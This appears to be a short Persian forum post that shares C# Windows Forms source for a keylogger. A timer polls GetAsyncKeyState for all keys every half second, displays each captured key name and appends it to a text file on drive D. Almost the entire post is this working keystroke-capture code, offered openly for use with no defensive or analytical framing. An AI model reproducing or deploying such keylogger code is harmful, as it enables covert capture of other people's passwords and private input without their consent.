با سلام مجدد
using System.IO;
namespace GetKey
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(System.Int32 vKey);
string keyBuffer = string.Empty;
private void Form1_Load(object sender, EventArgs e)
{
textBox1.Text = "";
timer1.Interval = 500;
}
private void timer1_Tick(object sender, EventArgs e)
{
foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
{
int x = GetAsyncKeyState(i);
if ((x == 1) || (x == Int16.MinValue))
{
StreamWriter Keylogger = new StreamWriter(@"d:\AppKeyLogger.txt", true, Encoding.Unicode);
keyBuffer = Enum.GetName(typeof(Keys), i) ;
textBox1.Text += keyBuffer;
Keylogger.Write(keyBuffer);
textBox1.SelectionStart = textBox1.TextLength;
Keylogger.Close();
}
}
}
}
}
موفق باشین
بایت بایت